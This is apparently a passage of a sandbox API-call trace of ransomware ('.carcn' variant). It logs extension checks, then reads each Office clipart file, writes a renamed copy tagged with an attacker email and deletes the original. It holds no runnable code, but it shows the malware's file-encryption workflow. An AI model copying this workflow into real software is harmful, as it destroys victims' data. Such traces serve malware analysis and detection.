[0300.550] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0300.550] lstrlenW (lpString=".xlsx") returned 5 [0300.550] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0300.550] lstrlenW (lpString=".ppt") returned 4 [0300.550] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0300.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68 [0300.550] lstrlenW (lpString=".zip") returned 4 [0300.550] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0300.550] lstrlenW (lpString=".rar") returned 4 [0300.550] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0300.550] lstrlenW (lpString=".bz2") returned 4 [0300.550] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0300.550] lstrlenW (lpString=".7z") returned 3 [0300.550] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0300.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68 [0300.550] lstrlenW (lpString=".dbf") returned 4 [0300.550] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0300.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68 [0300.551] lstrlenW (lpString=".1cd") returned 4 [0300.551] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0300.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68 [0300.551] lstrlenW (lpString=".jpg") returned 4 [0300.551] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0300.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68 [0300.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68 [0300.551] lstrlenW (lpString=".doc") returned 4 [0300.551] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0300.551] lstrlenW (lpString=".docx") returned 5 [0300.551] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0300.551] lstrlenW (lpString=".pdf") returned 4 [0300.551] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0300.551] lstrlenW (lpString=".xls") returned 4 [0300.551] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0300.551] lstrlenW (lpString=".xlsx") returned 5 [0300.551] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0300.551] lstrlenW (lpString=".ppt") returned 4 [0300.551] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0300.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68 [0300.551] lstrlenW (lpString=".zip") returned 4 [0300.551] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0300.551] lstrlenW (lpString=".rar") returned 4 [0300.551] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0300.551] lstrlenW (lpString=".bz2") returned 4 [0300.551] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0300.551] lstrlenW (lpString=".7z") returned 3 [0300.551] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0300.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68 [0300.551] lstrlenW (lpString=".dbf") returned 4 [0300.551] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0300.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68 [0300.551] lstrlenW (lpString=".1cd") returned 4 [0300.551] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0300.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68 [0300.551] lstrlenW (lpString=".jpg") returned 4 [0300.551] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0300.552] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0300.552] lstrlenW (lpString="DD01146_.WMF") returned 12 [0300.552] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01146_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0300.552] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=2796) returned 1 [0300.552] CloseHandle (hObject=0x394) returned 1 [0300.552] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01146_.wmf")) returned 0x220 [0300.552] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01146_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0300.552] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01146_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0300.552] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.553] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.553] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01146_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0300.553] GetLastError () returned 0x0 [0300.553] ReadFile (in: hFile=0x394, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0xaec, lpOverlapped=0x0) returned 1 [0300.554] WriteFile (in: hFile=0x388, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xaf0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xaf0, lpOverlapped=0x0) returned 1 [0300.555] ReadFile (in: hFile=0x394, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0300.555] WriteFile (in: hFile=0x388, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0300.555] SetEndOfFile (hFile=0x388) returned 1 [0300.555] CloseHandle (hObject=0x388) returned 1 [0300.555] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.555] SetEndOfFile (hFile=0x394) returned 1 [0300.556] CloseHandle (hObject=0x394) returned 1 [0300.556] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0300.556] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01146_.wmf")) returned 1 [0300.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68 [0300.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68 [0300.557] lstrlenW (lpString=".doc") returned 4 [0300.557] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0300.557] lstrlenW (lpString=".docx") returned 5 [0300.557] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0300.557] lstrlenW (lpString=".pdf") returned 4 [0300.557] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0300.557] lstrlenW (lpString=".xls") returned 4 [0300.557] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0300.557] lstrlenW (lpString=".xlsx") returned 5 [0300.557] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0300.557] lstrlenW (lpString=".ppt") returned 4 [0300.557] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0300.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68 [0300.557] lstrlenW (lpString=".zip") returned 4 [0300.557] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0300.557] lstrlenW (lpString=".rar") returned 4 [0300.557] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0300.557] lstrlenW (lpString=".bz2") returned 4 [0300.557] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0300.557] lstrlenW (lpString=".7z") returned 3 [0300.557] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0300.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68 [0300.557] lstrlenW (lpString=".dbf") returned 4 [0300.557] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0300.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68 [0300.557] lstrlenW (lpString=".1cd") returned 4 [0300.557] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0300.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68 [0300.557] lstrlenW (lpString=".jpg") returned 4 [0300.557] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0300.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68 [0300.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68 [0300.558] lstrlenW (lpString=".doc") returned 4 [0300.558] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0300.558] lstrlenW (lpString=".docx") returned 5 [0300.558] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0300.558] lstrlenW (lpString=".pdf") returned 4 [0300.558] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0300.558] lstrlenW (lpString=".xls") returned 4 [0300.558] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0300.558] lstrlenW (lpString=".xlsx") returned 5 [0300.558] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0300.558] lstrlenW (lpString=".ppt") returned 4 [0300.558] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0300.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68 [0300.558] lstrlenW (lpString=".zip") returned 4 [0300.558] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0300.558] lstrlenW (lpString=".rar") returned 4 [0300.558] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0300.558] lstrlenW (lpString=".bz2") returned 4 [0300.558] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0300.558] lstrlenW (lpString=".7z") returned 3 [0300.558] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0300.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68 [0300.558] lstrlenW (lpString=".dbf") returned 4 [0300.558] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0300.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68 [0300.558] lstrlenW (lpString=".1cd") returned 4 [0300.558] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0300.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68 [0300.558] lstrlenW (lpString=".jpg") returned 4 [0300.558] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0300.558] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0300.559] lstrlenW (lpString="DD01151_.WMF") returned 12 [0300.559] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01151_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0300.559] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=2960) returned 1 [0300.559] CloseHandle (hObject=0x394) returned 1 [0300.559] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01151_.wmf")) returned 0x220 [0300.559] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01151_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0300.559] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01151_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0300.559] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.560] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.560] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01151_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0300.560] GetLastError () returned 0x0 [0300.560] ReadFile (in: hFile=0x394, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0xb90, lpOverlapped=0x0) returned 1 [0300.561] WriteFile (in: hFile=0x388, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xba0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xba0, lpOverlapped=0x0) returned 1 [0300.562] ReadFile (in: hFile=0x394, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0300.562] WriteFile (in: hFile=0x388, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0300.562] SetEndOfFile (hFile=0x388) returned 1 [0300.563] CloseHandle (hObject=0x388) returned 1 [0300.563] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.563] SetEndOfFile (hFile=0x394) returned 1 [0300.564] CloseHandle (hObject=0x394) returned 1 [0300.564] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0300.564] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01151_.wmf")) returned 1 [0300.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0300.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0300.565] lstrlenW (lpString=".doc") returned 4 [0300.565] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0300.565] lstrlenW (lpString=".docx") returned 5 [0300.565] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0300.565] lstrlenW (lpString=".pdf") returned 4 [0300.565] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0300.565] lstrlenW (lpString=".xls") returned 4 [0300.677] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0300.677] lstrlenW (lpString=".xlsx") returned 5 [0300.677] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0300.677] lstrlenW (lpString=".ppt") returned 4 [0300.677] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0300.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0300.677] lstrlenW (lpString=".zip") returned 4 [0300.677] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0300.677] lstrlenW (lpString=".rar") returned 4 [0300.677] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0300.677] lstrlenW (lpString=".bz2") returned 4 [0300.677] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0300.677] lstrlenW (lpString=".7z") returned 3 [0300.677] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0300.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0300.677] lstrlenW (lpString=".dbf") returned 4 [0300.677] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0300.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0300.677] lstrlenW (lpString=".1cd") returned 4 [0300.677] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0300.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0300.677] lstrlenW (lpString=".jpg") returned 4 [0300.677] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0300.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0300.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0300.678] lstrlenW (lpString=".doc") returned 4 [0300.678] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0300.678] lstrlenW (lpString=".docx") returned 5 [0300.678] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0300.678] lstrlenW (lpString=".pdf") returned 4 [0300.678] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0300.678] lstrlenW (lpString=".xls") returned 4 [0300.678] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0300.678] lstrlenW (lpString=".xlsx") returned 5 [0300.678] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0300.678] lstrlenW (lpString=".ppt") returned 4 [0300.678] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0300.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0300.678] lstrlenW (lpString=".zip") returned 4 [0300.678] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0300.678] lstrlenW (lpString=".rar") returned 4 [0300.678] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0300.678] lstrlenW (lpString=".bz2") returned 4 [0300.678] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0300.678] lstrlenW (lpString=".7z") returned 3 [0300.678] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0300.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0300.678] lstrlenW (lpString=".dbf") returned 4 [0300.678] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0300.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0300.678] lstrlenW (lpString=".1cd") returned 4 [0300.678] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0300.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0300.678] lstrlenW (lpString=".jpg") returned 4 [0300.678] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0300.679] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0300.679] lstrlenW (lpString="DD01152_.WMF") returned 12 [0300.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01152_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0300.679] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=2960) returned 1 [0300.679] CloseHandle (hObject=0x348) returned 1 [0300.679] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01152_.wmf")) returned 0x220 [0300.680] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01152_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0300.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01152_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0300.680] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.680] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01152_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0300.681] GetLastError () returned 0x0 [0300.681] ReadFile (in: hFile=0x348, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0xb90, lpOverlapped=0x0) returned 1 [0300.682] WriteFile (in: hFile=0x364, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xba0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xba0, lpOverlapped=0x0) returned 1 [0300.683] ReadFile (in: hFile=0x348, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0300.683] WriteFile (in: hFile=0x364, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0300.683] SetEndOfFile (hFile=0x364) returned 1 [0300.683] CloseHandle (hObject=0x364) returned 1 [0300.683] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.683] SetEndOfFile (hFile=0x348) returned 1 [0300.684] CloseHandle (hObject=0x348) returned 1 [0300.684] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0300.684] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01152_.wmf")) returned 1 [0300.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68 [0300.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68 [0300.685] lstrlenW (lpString=".doc") returned 4 [0300.685] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0300.685] lstrlenW (lpString=".docx") returned 5 [0300.685] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0300.685] lstrlenW (lpString=".pdf") returned 4 [0300.685] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0300.685] lstrlenW (lpString=".xls") returned 4 [0300.685] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0300.685] lstrlenW (lpString=".xlsx") returned 5 [0300.685] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0300.685] lstrlenW (lpString=".ppt") returned 4 [0300.685] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0300.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68 [0300.685] lstrlenW (lpString=".zip") returned 4 